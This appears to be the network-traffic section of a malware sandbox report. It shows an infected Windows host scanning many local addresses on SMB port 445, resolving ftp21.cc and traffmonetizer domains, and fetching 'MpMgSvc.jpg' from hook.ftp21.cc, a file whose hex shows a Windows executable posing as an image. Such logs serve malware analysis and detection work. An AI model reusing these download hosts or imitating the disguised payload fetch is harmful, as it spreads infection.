Jul 6, 2024 14:10:25.338337898 CEST	445	50068	192.168.0.252	192.168.2.4
Jul 6, 2024 14:10:25.338392973 CEST	50068	445	192.168.2.4	192.168.0.252
Jul 6, 2024 14:10:25.348472118 CEST	50068	445	192.168.2.4	192.168.0.252
Jul 6, 2024 14:10:25.348820925 CEST	50069	445	192.168.2.4	192.168.0.253
Jul 6, 2024 14:10:25.354041100 CEST	445	50068	192.168.0.252	192.168.2.4
Jul 6, 2024 14:10:25.354096889 CEST	50068	445	192.168.2.4	192.168.0.252
Jul 6, 2024 14:10:25.354722977 CEST	445	50069	192.168.0.253	192.168.2.4
Jul 6, 2024 14:10:25.354779005 CEST	50069	445	192.168.2.4	192.168.0.253
Jul 6, 2024 14:10:25.354865074 CEST	50069	445	192.168.2.4	192.168.0.253
Jul 6, 2024 14:10:25.364356995 CEST	50070	445	192.168.2.4	192.168.0.254
Jul 6, 2024 14:10:25.365011930 CEST	445	50069	192.168.0.253	192.168.2.4
Jul 6, 2024 14:10:25.365062952 CEST	50069	445	192.168.2.4	192.168.0.253
Jul 6, 2024 14:10:25.370238066 CEST	445	50070	192.168.0.254	192.168.2.4
Jul 6, 2024 14:10:25.370300055 CEST	50070	445	192.168.2.4	192.168.0.254
Jul 6, 2024 14:10:25.379723072 CEST	50070	445	192.168.2.4	192.168.0.254
Jul 6, 2024 14:10:25.379980087 CEST	50071	445	192.168.2.4	192.168.0.255
Jul 6, 2024 14:10:25.395612955 CEST	50072	445	192.168.2.4	192.168.1.1
Jul 6, 2024 14:10:25.411354065 CEST	50073	445	192.168.2.4	192.168.1.2
Jul 6, 2024 14:10:25.426933050 CEST	50074	445	192.168.2.4	192.168.1.3
Jul 6, 2024 14:10:25.442486048 CEST	50075	445	192.168.2.4	192.168.1.4
Jul 6, 2024 14:10:25.458209038 CEST	50076	445	192.168.2.4	192.168.1.5
Jul 6, 2024 14:10:25.476978064 CEST	50077	445	192.168.2.4	192.168.1.6
Jul 6, 2024 14:10:25.489434004 CEST	50078	445	192.168.2.4	192.168.1.7
Jul 6, 2024 14:10:25.505315065 CEST	50079	445	192.168.2.4	192.168.1.8
Jul 6, 2024 14:10:25.521406889 CEST	50080	445	192.168.2.4	192.168.1.9
Jul 6, 2024 14:10:25.536611080 CEST	50081	445	192.168.2.4	192.168.1.10
Jul 6, 2024 14:10:25.551897049 CEST	50082	445	192.168.2.4	192.168.1.11
Jul 6, 2024 14:10:25.567472935 CEST	50083	445	192.168.2.4	192.168.1.12
Jul 6, 2024 14:10:25.583333969 CEST	50084	445	192.168.2.4	192.168.1.13
Jul 6, 2024 14:10:25.598939896 CEST	50085	445	192.168.2.4	192.168.1.14
Jul 6, 2024 14:10:25.614377975 CEST	50086	445	192.168.2.4	192.168.1.15
Jul 6, 2024 14:10:25.617850065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617881060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617892027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617902040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617911100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.617925882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617939949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617945910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.617949963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617961884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617966890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.617969990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.617985964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618001938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618017912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618026972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618055105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618144035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618153095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618161917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618171930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618180990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618185043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618191004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618200064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618210077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618213892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618223906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618238926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618254900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618271112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618447065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618455887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618463993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618474007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618482113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618488073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618491888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618501902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618505955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618510962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618521929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618531942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618551970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618582964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618591070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618599892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618609905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618618011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618618011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618628025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618637085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618655920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618727922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618736982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618746042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618755102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618763924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618765116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618773937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618782997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618783951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618792057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618801117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618803024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618810892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618819952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618828058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618830919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618830919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618838072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618845940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618855953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618860006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618865013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618874073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618882895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618887901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618892908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.618907928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.618922949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619288921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619297981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619307041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619316101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619323969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619328022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619333982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619345903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619369984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619513988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619524002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619533062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619540930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619550943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619555950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619560003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619575024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619577885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619592905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619595051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619604111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619611979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619612932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619621992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619631052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619637012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619640112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619648933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619657993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619663000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619668007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619678020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619683027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619687080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619697094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619702101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619704962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619714975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619719028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619724989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619733095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619736910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619741917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619752884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619762897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619762897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619771957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619781971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619786978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619791985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619798899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619801998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619812012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.619812965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619831085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.619846106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.620419025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620429039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620438099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620448112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620456934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620460033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.620466948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620487928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.620490074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620502949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.620512962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620522976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620527029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.620532990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.620541096 CEST	49732	80	192.168.2.4	211.108.60.155

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 6, 2024 14:10:13.992841959 CEST	192.168.2.4	8.8.8.8	0x30d6	Standard query (0)	members.3322.org	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:14.000705004 CEST	192.168.2.4	8.8.8.8	0x6f92	Standard query (0)	opendata.baidu.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:47.547275066 CEST	192.168.2.4	1.1.1.1	0xdf90	Standard query (0)	www.362-com.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:47.547633886 CEST	192.168.2.4	1.1.1.1	0xdeec	Standard query (0)	www.4i7i.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:58.427886963 CEST	192.168.2.4	1.1.1.1	0xdc8a	Standard query (0)	ssl.ftp21.cc	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:58.829850912 CEST	192.168.2.4	1.1.1.1	0x461c	Standard query (0)	api.iproyal.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:10.644105911 CEST	192.168.2.4	1.1.1.1	0xf4	Standard query (0)	gtxvdqvuweqs.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:22.968393087 CEST	192.168.2.4	1.1.1.1	0x40ed	Standard query (0)	blnc.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:28.717217922 CEST	192.168.2.4	1.1.1.1	0xc970	Standard query (0)	srv-us4.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:30.188879013 CEST	192.168.2.4	1.1.1.1	0x916d	Standard query (0)	down.ftp21.cc	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:46.332896948 CEST	192.168.2.4	1.1.1.1	0x80f0	Standard query (0)	srv-us2.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:12:12.792889118 CEST	192.168.2.4	1.1.1.1	0xdb89	Standard query (0)	srv-us13.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:12:15.972532988 CEST	192.168.2.4	1.1.1.1	0x71f2	Standard query (0)	srv-us22.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:12:22.707103014 CEST	192.168.2.4	1.1.1.1	0x5647	Standard query (0)	data.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:13:23.582079887 CEST	192.168.2.4	1.1.1.1	0xa7e6	Standard query (0)	srv-us16.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:13:30.824462891 CEST	192.168.2.4	1.1.1.1	0xc9d0	Standard query (0)	data.traffmonetizer.com	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:13:44.734150887 CEST	192.168.2.4	1.1.1.1	0x1e51	Standard query (0)	downloads.traffmonetizer.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 6, 2024 14:10:13.999438047 CEST	8.8.8.8	192.168.2.4	0x30d6	No error (0)	members.3322.org	members.3322.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 6, 2024 14:10:13.999438047 CEST	8.8.8.8	192.168.2.4	0x30d6	No error (0)	members.3322.net		118.184.169.48	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:14.230429888 CEST	8.8.8.8	192.168.2.4	0x6f92	No error (0)	opendata.baidu.com	open.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 6, 2024 14:10:14.230429888 CEST	8.8.8.8	192.168.2.4	0x6f92	No error (0)	open.a.shifen.com		45.113.194.189	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:14.230429888 CEST	8.8.8.8	192.168.2.4	0x6f92	No error (0)	open.a.shifen.com		45.113.194.127	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:47.579982042 CEST	1.1.1.1	192.168.2.4	0xdeec	No error (0)	www.4i7i.com		1.226.84.135	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:47.587265968 CEST	1.1.1.1	192.168.2.4	0xdf90	No error (0)	www.362-com.com		1.226.84.135	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:58.535583973 CEST	1.1.1.1	192.168.2.4	0xdc8a	No error (0)	ssl.ftp21.cc		211.108.60.155	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:58.535583973 CEST	1.1.1.1	192.168.2.4	0xdc8a	No error (0)	ssl.ftp21.cc		218.57.129.51	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:58.838776112 CEST	1.1.1.1	192.168.2.4	0x461c	No error (0)	api.iproyal.com		93.189.62.83	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:10:58.838776112 CEST	1.1.1.1	192.168.2.4	0x461c	No error (0)	api.iproyal.com		193.228.196.69	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:10.653723001 CEST	1.1.1.1	192.168.2.4	0xf4	No error (0)	gtxvdqvuweqs.com		16.162.201.176	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:22.980597973 CEST	1.1.1.1	192.168.2.4	0x40ed	No error (0)	blnc.traffmonetizer.com		144.76.194.78	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:22.980597973 CEST	1.1.1.1	192.168.2.4	0x40ed	No error (0)	blnc.traffmonetizer.com		168.119.91.41	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:28.731637001 CEST	1.1.1.1	192.168.2.4	0xc970	No error (0)	srv-us4.traffmonetizer.com		5.161.204.110	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:30.330168962 CEST	1.1.1.1	192.168.2.4	0x916d	No error (0)	down.ftp21.cc		107.189.29.100	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:30.330168962 CEST	1.1.1.1	192.168.2.4	0x916d	No error (0)	down.ftp21.cc		119.203.212.165	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:30.330168962 CEST	1.1.1.1	192.168.2.4	0x916d	No error (0)	down.ftp21.cc		198.98.56.44	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:11:46.349070072 CEST	1.1.1.1	192.168.2.4	0x80f0	No error (0)	srv-us2.traffmonetizer.com		5.78.67.8	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:12:12.803241968 CEST	1.1.1.1	192.168.2.4	0xdb89	No error (0)	srv-us13.traffmonetizer.com		5.78.93.88	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:12:15.983252048 CEST	1.1.1.1	192.168.2.4	0x71f2	No error (0)	srv-us22.traffmonetizer.com		5.161.242.15	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:12:22.717015028 CEST	1.1.1.1	192.168.2.4	0x5647	No error (0)	data.traffmonetizer.com		136.243.150.101	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:13:23.593445063 CEST	1.1.1.1	192.168.2.4	0xa7e6	No error (0)	srv-us16.traffmonetizer.com		5.78.114.151	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:13:30.833563089 CEST	1.1.1.1	192.168.2.4	0xc9d0	No error (0)	data.traffmonetizer.com		136.243.150.101	A (IP address)	IN (0x0001)	false
Jul 6, 2024 14:13:44.744586945 CEST	1.1.1.1	192.168.2.4	0x1e51	No error (0)	downloads.traffmonetizer.com		49.12.131.126	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	211.108.60.155	80

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:09:55.603571892 CEST	284	OUT	GET /MpMgSvc.dll HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: hook.ftp21.cc Connection: Keep-Alive
Jul 6, 2024 14:09:56.489392996 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Length: 1308 Content-Type: text/html Server: Microsoft-IIS/6.0 Date: Sat, 06 Jul 2024 12:09:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e ce de b7 a8 d5 d2 b5 bd b8 c3 d2 b3 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 47 42 32 33 31 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 cb ce cc e5 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 cb ce cc e5 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 cb ce cc e5 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE></TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=GB2312"><STYLE type="text/css"> BODY { font: 9pt/12pt } H1 { font: 12pt/15pt } H2 { font: 9pt/12pt } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1></h1><hr><p></p><ul><li></li><li></li><li><a href="javascript:history.back(1)"></a></li></ul><h2>HTTP 404 - <br>Internet (IIS)</h2><hr><p></p><ul><li> <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft [TRUNCATED]
Jul 6, 2024 14:09:56.489411116 CEST	209	IN	Data Raw: 49 49 53 20 b0 ef d6 fa 26 72 64 71 75 6f 3b a3 a8 bf c9 d4 da 20 49 49 53 20 b9 dc c0 ed c6 f7 20 28 69 6e 65 74 6d 67 72 29 20 d6 d0 b7 c3 ce ca a3 a9 a3 ac c8 bb ba f3 cb d1 cb f7 b1 ea cc e2 ce aa 26 6c 64 71 75 6f 3b cd f8 d5 be c9 e8 d6 c3 Data Ascii: IIS ” IIS (inetmgr) “”“”“”</li></ul></TD></TR></TABLE></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	211.108.60.155	80

Timestamp	Bytes transferred	Direction	Data
Jul 6, 2024 14:09:56.517618895 CEST	284	OUT	GET /MpMgSvc.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: hook.ftp21.cc Connection: Keep-Alive
Jul 6, 2024 14:09:57.382358074 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 3338240 Content-Type: image/jpeg Last-Modified: Tue, 02 Jul 2024 14:38:02 GMT Accept-Ranges: bytes ETag: "72b09e718dccda1:219" Server: Microsoft-IIS/6.0 Date: Sat, 06 Jul 2024 12:09:52 GMT Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3b 34 61 bc 7f 55 0f ef 7f 55 0f ef 7f 55 0f ef 10 4a 04 ef 76 55 0f ef 10 4a 05 ef 79 55 0f ef fc 49 01 ef 53 55 0f ef 04 49 03 ef 7a 55 0f ef 29 4a 1c ef 53 55 0f ef 1d 4a 1c ef 67 55 0f ef 7f 55 0e ef e1 57 0f ef fc 5d 52 ef 7c 55 0f ef 2b 76 3e ef 7e 55 0f ef 49 73 04 ef 24 55 0f ef 49 73 05 ef ab 55 0f ef 97 4a 04 ef 23 55 0f ef 97 4a 05 ef 64 55 0f ef 7f 55 0f ef 4f 55 0f ef b8 53 09 ef 7e 55 0f ef 52 69 63 68 7f 55 0f ef 00 00 00 00 00 00 00 